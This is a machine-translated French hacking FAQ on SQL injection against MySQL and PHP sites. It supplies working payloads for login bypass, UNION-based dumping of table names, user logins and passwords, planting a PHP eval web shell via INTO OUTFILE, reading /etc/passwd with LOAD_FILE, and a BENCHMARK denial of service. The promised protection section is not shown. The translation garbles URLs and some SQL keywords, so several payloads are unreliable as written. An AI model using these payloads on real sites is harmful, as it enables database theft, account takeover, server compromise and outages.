This page has been robot translated, sorry for typos if any. Original content here.

Injection SQL [FAQ complète]



  • 0.INTRO
  • 1. COMMENT TROUVER UNE INJECTION SQL?
  • 2. QUOI ET COMMENT POUVEZ-VOUS APPRENDRE DE CETTE UTILE?
  • 3. QUE FAIRE SI PAS DE CHAMPS AFFICHABLES.
  • 4. QUE FAIRE SI QUELQUE CHOSE DE FILTRES.
  • 5. FONCTIONS UTILES DANS MYSQL
  • 6. COMMENT SE PROTEGER DE L’INJECTION SQL?
  • 7. ADDITIONS


  • 0.INTRO


    En parcourant Internet à la recherche d’au moins quelques informations sur l’ injection SQL, vous êtes probablement tombé sur des articles très courts, ou incompréhensibles, ou sur un sujet ou autre qui ne vous convenait bien sûr pas. Une fois, j'ai également rassemblé environ 10 à 20 articles sur ce sujet afin de pénétrer dans les nombreuses subtilités de cette vulnérabilité. Et me souvenant de ces moments, j’ai décidé d’écrire une FAQ complète sur ce sujet afin que le reste ne souffre pas. Et une autre demande. Ceux qui trouvent que j’ai manqué quelque chose, où j’ai commis une erreur, etc., écrivez-vous ci-dessous, c’est quand même difficile de tout garder dans votre tête. :) . En passant, ceci est mon premier article, s'il vous plaît ne jetez pas de tomates, et ne frappez pas vos pieds.

    Ce n’est pas le premier jour de piratage informatique. Vous savez probablement ce qu’est une injection SQL. Sinon, cet article est pour vous. Injection SQL Une injection simple supplémentaire est un type d'attaque dans lequel l'intrus modifie la requête de base de données d'origine de sorte que, lorsque la requête est exécutée, les informations nécessaires à partir de la base de données soient sorties.

    Assimiler cet article nécessite:
    a) La présence de cerveaux
    b) bras droits
    c) Connaissance du langage SQL

    Fondamentalement, cet article a été écrit comme pour MYSQL + PHP, mais il existe quelques exemples avec MSSQL.

    En général, à mon avis, le meilleur moyen d'apprendre à travailler correctement avec l' injection SQL n'est pas de lire cet article, mais de s'entraîner de manière dynamique , par exemple, écrivez vous-même un script vulnérable ou utilisez celui que vous avez donné à la toute fin.

    En passant, je vous conseille de tout lire à la suite car il y a quelque chose d'important pour le prochain élément de chaque paragraphe, etc.

    1. COMMENT TROUVER UNE INJECTION SQL?

    C'est assez simple. Il est nécessaire d'insérer dans tous les champs, variables, doubles cookies et guillemets simples.

    1.1 Seconde première

    Commençons par ce script

    1 Supposons que la requête d'origine de la base de données ressemble à ceci:
    SELECT * FROM news WHERE id=' 1 '; Maintenant, nous allons ajouter un guillemet à la variable "id", comme ceci - si la variable n'est pas filtrée et que des messages d'erreur sont inclus, alors quelque chose comme ceci va sortir:

    mysql_query (): vous avez une erreur dans votre syntaxe SQL; vérifiez la syntaxe pour votre droite;

    Étant donné que dans la requête à la base de données, il y aura un devis supplémentaire:
    SELECT * FROM news WHERE id=' 1' '; Si le rapport d'erreur est désactivé, dans ce cas, il est possible de déterminer la présence d'une vulnérabilité comme celle-ci (il ne serait également pas nuisible de ne pas confondre avec la clause 1.4. Comme décrit dans la même clause): la requête à la base de données deviendra comme ceci:
    SELECT * FROM news WHERE id=' 1'; -- '; (Pour ceux qui sont dans le réservoir "-" c'est le signe du début du commentaire, tout ce qui va suivre sera abandonné, je souhaite également attirer votre attention sur le fait qu'après, il doit y avoir un espace (cela est écrit dans la documentation MYSQL) et d'ailleurs. Ainsi, pour MYSQL, la requête reste la même et affiche la même chose que pour http: //xxx/news.php? Id = 1
    L’ensemble du point 2 est consacré à la gestion de cette vulnérabilité.

    1.2 Deuxième cas

    SQL a une instruction LIKE . Il est utilisé pour comparer des chaînes. Voici un script d'autorisation lorsque vous entrez un nom d'utilisateur et un mot de passe, il demande une base de données comme celle-ci:
    SELECT * FROM utilisateurs WHERE connecte LIKE 'Admin' ET passe LIKE '123';

    Même si ce script filtre la citation, il reste vulnérable à l'injection. Au lieu du mot de passe, il suffit de saisir "%" (pour l'opérateur LIKE, le caractère "%" correspond à n'importe quelle chaîne), puis la requête sera
    SELECT * FROM utilisateurs WHERE connecte LIKE 'Admin' ET passe LIKE '%';

    et laissez-nous aller à l'intérieur avec le login 'Admin'. Dans ce cas, non seulement nous avons trouvé l’ injection SQL, mais nous l’avons également utilisée avec succès.

    1.3 Le troisième cas

    Que faire si, dans le même script d'autorisation, aucune vérification de citation n'est effectuée. Imkho, il sera au moins idiot d'utiliser cette injection pour conclure toute information. Laissez la requête à la base de données être du type:
    SELECT * FROM utilisateurs WHERE login = 'Admin' AND pass = '123';

    Malheureusement, le mot de passe '123' ne convient pas :) , mais nous avons trouvé une injection dans le paramètre 'login' et pour pouvoir vous enregistrer sous le nom 'Admin', nous devons entrer quelque chose comme cet Admin à la place '; - c’est-à-dire que la partie avec la vérification du mot de passe est ignorée et nous entrons sous le surnom "Admin".
    SELECT * FROM utilisateurs WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    Et maintenant, que faire si la vulnérabilité dans le champ 'pass'. Nous entrons les informations suivantes dans ce champ 123 'OR login =' Admin '; - La demande sera la suivante:
    SELECT * FROM utilisateurs WHERE login = 'Admin' AND pass = '123' OU login = 'Admin'; - ';

    Pour une base de données, il sera absolument indépendant de cette requête:
    SELECT * FROM utilisateurs WHERE (login = 'Admin' AND pass = '123') OR (login = 'Admin');

    Et après ces actions, nous deviendrons le propriétaire complet du compte avec le login "Admin".

    1.4 Le quatrième cas

    Revenons au script de nouvelles. En langage SQL, nous devons nous rappeler que les paramètres numériques ne sont pas mis entre guillemets, c’est-à-dire qu’avec un tel appel au script http: //xxx/news.php? Id = 1, la requête à la base de données ressemble à ceci:
    SELECT * FROM news WHERE id = 1 ;

    Vous pouvez également détecter cette injection en insérant des guillemets dans le paramètre 'id', puis en sautant le même message d'erreur:

    mysql_query (): vous avez une erreur dans votre syntaxe SQL; vérifiez la syntaxe pour votre droite;

    Si ce message ne disparaît pas, vous pouvez alors comprendre que le guillemet est filtré et vous devez ensuite entrer http: //xxx/news.php? Id = 1 bla-bla-bla
    Le DB ne comprendra pas ce bla bla bla et donnera un message d'erreur du type:

    mysql_query (): vous avez une erreur dans votre syntaxe SQL; Vérifiez la syntaxe de votre bonne syntaxe pour l'utiliser près de '1 bla-bla-bla'

    Si le rapport d'erreur est désactivé, nous le vérifions comme suit: http: //xxx/news.php? Id = 1; -
    Devrait-il être affiché exactement de la même manière que http: //xxx/news.php? Id = 1

    Maintenant, vous pouvez aller à l'étape 2.

    2. QUOI ET COMMENT POUVEZ-VOUS APPRENDRE DE CETTE UTILE?

    De plus, seul le type de vulnérabilité décrit dans la clause 1.1 sera pris en compte et il ne sera pas difficile de le réparer pour les autres. :)

    2.1 Équipe UNION

    Pour commencer, le plus utile est l’équipe de UNION (qui ne sait pas aller sur Google ) ...
    Modification de l’appel au script http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . Nous obtenons la requête à la base de données comme ceci:
    SELECT * FROM news WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Sélection du nombre de champs (méthode 1)

    Sans oublier que le nombre de colonnes avant UNION et après doit correspondre à une erreur (s'il n'y a pas une colonne dans la table de news), elles doivent correspondre:

    mysql_query (): Les instructions SELECT utilisées ont un nombre de colonnes différent

    Dans ce cas, nous devons sélectionner le nombre de colonnes (afin que leur nombre avant UNION et après corresponde). Nous le faisons comme ça:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Erreur " Les instructions SELECT utilisées ont un nombre de colonnes différent "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Encore une erreur.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    Oh! Il était affiché comme http: //xxx/news.php? Id = 1
    cela signifie que le nombre de champs est sélectionné, c'est-à-dire qu'il y en a 6 ...


    2.1.1.2 Sélection du nombre de champs (méthode 2)

    Et cette méthode est basée sur la sélection du nombre de champs à l'aide de GROUP BY . C'est-à-dire une demande de ce type:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    Il sera affiché sans erreur si le nombre de champs est inférieur ou égal à 2.
    Nous faisons une demande de ce type:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Oups ... Il y avait une erreur de type.

    mysql_query (): colonne inconnue '10' dans 'instruction de groupe'

    Donc, les colonnes sont moins de 10. Nous divisons 10 par 2. Et nous faisons une demande

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    Il n'y a pas d'erreur signifie que le nombre de colonnes est supérieur ou égal à 5 mais inférieur à 10. Maintenant, prenons la valeur moyenne comprise entre 5 et 10, qui est obtenue comme 7. Effectuez la requête:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Oh encore, l'erreur ... :(

    mysql_query (): colonne inconnue '7' dans 'instruction de groupe'

    Donc, le montant est supérieur ou égal à 5 mais inférieur à 7. Bien, et ensuite faire une demande

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    Il n'y a pas d'erreur ... Donc, le nombre est supérieur ou égal à 6 mais inférieur à 7. Il s'ensuit que le nombre de colonnes requis est 6.

    2.1.1.3 Sélection du nombre de champs (méthode 3)

    Le même principe que dans la clause 2.1.1.2 utilise uniquement la fonction ORDER BY . Et le texte d'erreur change légèrement s'il y a plus de champs.

    mysql_query (): colonne inconnue '10' dans 'clause de commande'

    2.1.2 Définition des colonnes affichées

    Je pense que pour beaucoup d’entre nous exactement la même page que http: //xxx/news.php? Id = 1 ne convient pas. Il faut donc s’assurer que rien n’est sorti à la première requête (avant UNION ). Le plus simple est de changer le "id" de "1" en "-1" (ou en "9999999")
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Nous avons maintenant quelque part dans la page qui devrait afficher certains de ces chiffres. (Par exemple, puisqu'il s'agit conditionnellement d'un script d'actualités, dans le «titre de l'actualité», il sera affiché, par exemple 3, «Actualités» -4, etc.). Maintenant, pour que nous puissions obtenir certaines informations, nous devons remplacer ces numéros dans l’application du script par les fonctions dont nous avons besoin. Si les chiffres ne sont affichés nulle part ailleurs, les sous-clauses restantes de la clause 2.1 peuvent être ignorées.

    2.1.3 SIXSS (Script de site SQL Injection Cros)

    Ce XSS est uniquement via une demande à la base de données. Exemple:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alerte (SIXSS ') </ script>', 5,6 - Eh bien, je pense que ce n'est pas difficile à comprendre 4 de la page seront remplacés par <script> alert ('SIXSS') </ script> et, en conséquence, vous obtiendrez le même XSS.

    2.1.4 Noms de colonne / table

    Si vous connaissez les noms des tables et des colonnes de la base de données, vous pouvez ignorer cet élément.
    Si vous ne savez pas ... Il y a deux façons.

    2.1.4.1 Noms des colonnes / tables si vous avez accès à INFORMATION_SCHEMA et si la version de MYSQL> = 5

    La table INFORMATION_SCHEMA.TABLES contient des informations sur toutes les tables de la base de données, les noms de colonne TABLE_NAME.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - C'est là que le problème peut apparaître. Étant donné que seule la première ligne de la réponse de la base de données sera affichée. Ensuite, nous devons utiliser LIMIT comme ceci:

    Sortie première ligne:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1.1 -

    La sortie de la deuxième ligne:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 DE INFORMATION_SCHEMA.TABLES LIMIT 2,1 - etc.

    Eh bien, nous avons trouvé la table Utilisateurs . Seulement ceci ... Khm ... les colonnes ne savent pas ... Ensuite, la table INFORMATION_SCHEMA.COLUMNS nous vient en aide, la colonne COLUMN_NAME contient le nom de la colonne de la table TABLE_NAME . Voici comment nous récupérons les noms de colonnes.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' LIMITE DES UTILISATEURS 1.1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' LIMITE DES UTILISATEURS 2,1 -
    et ainsi de suite

    Et ici nous avons trouvé les champs login , password .

    2.1.4.2 Noms de colonne / table si INFORMATION_SCHEMA n'est pas disponible

    Ceci est une option de zhopny. :( Ici entre en vigueur le brutoforce habituel ... Exemple:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM nom_de_table -

    Il est nécessaire de sélectionner Table_name jusqu'à ce que le message d'erreur du type disparaisse:

    mysql_query (): la table ' nom_table ' n'existe pas

    Eh bien, à notre grande joie, les utilisateurs ont perdu le message d'erreur et la page s'affichait comme si http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - qu'est-ce que cela signifie ? Cela signifie qu'il existe une table Utilisateurs et que vous devez commencer à trier les colonnes.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Nom de colonne , 5,6 Utilisateurs FROM -

    Il est nécessaire de sélectionner ColumnName jusqu'à ce que le message d'erreur du type suivant disparaisse:

    mysql_query (): colonne inconnue ' Nom de la colonne' 'dans la' liste des champs '

    Là où le message d'erreur disparaît, une telle colonne existe.

    Et c’est comme cela que nous avons appris que dans la table Users , il existe des colonnes login , password .

    2.1.5 Sortie d'information

    Appel du script de cette manière http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, identifiant, mot de passe, 5,6 FROM Users LIMIT 1.1 - Affiche l'identifiant et le mot de passe du premier utilisateur de la table. Les utilisateurs .

    2.2 Travailler avec des fichiers

    2.2.1 Écrire dans un fichier

    Il existe un type intéressant ... SELECT ... INTO OUTFILE dans MYSQL qui vous permet d'écrire des informations dans un fichier. Ou cette sélection SELECT ... INTO DUMPFILE est presque similaire et vous pouvez utiliser n’importe lequel.

    Exemple: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    Pour elle, il y a plusieurs limitations.
    • Il est interdit d'écraser des fichiers
    • Requiert les privilèges FILE
    • (!) Citations réelles obligatoires dans la spécification du nom de fichier

    Mais qu'est-ce qui nous empêcherait de rendre le Web aller? Ici, par exemple:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <? php eval ($ _GET ['e'])?> ', 5,6 INTO OUTFILE' 1.php '; -

    Il ne reste plus qu'à trouver le chemin d'accès complet à la racine du site sur le serveur et à l'ajouter avant 1.php. En principe, vous pouvez trouver une autre erreur dans le rapport qui verra le chemin sur le serveur ou le laissera à la racine du serveur et le détectera avec une connexion locale, mais ceci est un autre sujet.

    2.2.2 Lecture de fichiers

    Considérons la fonction LOAD_FILE

    Exemple: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    Pour elle, il y a aussi quelques limitations.
    • Le chemin complet du fichier doit être spécifié.
    • Requiert les privilèges FILE
    • Le fichier doit être sur le même serveur.
    • La taille de ce fichier doit être inférieure à celle spécifiée dans max_allowed_packet
    • Le fichier doit être ouvert à la lecture par l'utilisateur à partir duquel est exécutée la MYSQL.

    Si la fonction ne parvient pas à lire le fichier, elle renvoie NULL.

    2.3 Attaque du DOS sur serveur SQL

    Dans la plupart des cas, le serveur SQL est atteint car aucune autre opération ne peut être effectuée. Type n'a pas pu trouver la table / les colonnes, pas de droits dessus, pas de droits dessus, etc. Honnêtement contre cette méthode mais tout de même ...

    Plus près du but ...
    La fonction BENCHMARK effectue plusieurs fois la même action.
    SELECT BENCHMARK (100000, md5 (current_time));

    C’est-à-dire que, ici, cette fonction ne fait md5 (current_time) 100 000 fois, ce qui prend environ 0,7 seconde sur mon ordinateur ... Cela ressemblait à ceci ... Et si vous essayez le BENCHMARK intégré?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)));

    Pour être honnête, cela prend beaucoup de temps, je n'ai même pas attendu ... je devais faire une réinitialisation :) .
    Exemple Dos dans notre cas:

    http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time))), 4, 5, 6; -

    Juste 100 fois pour frapper F5 et "le serveur va tomber dans un fast down"))).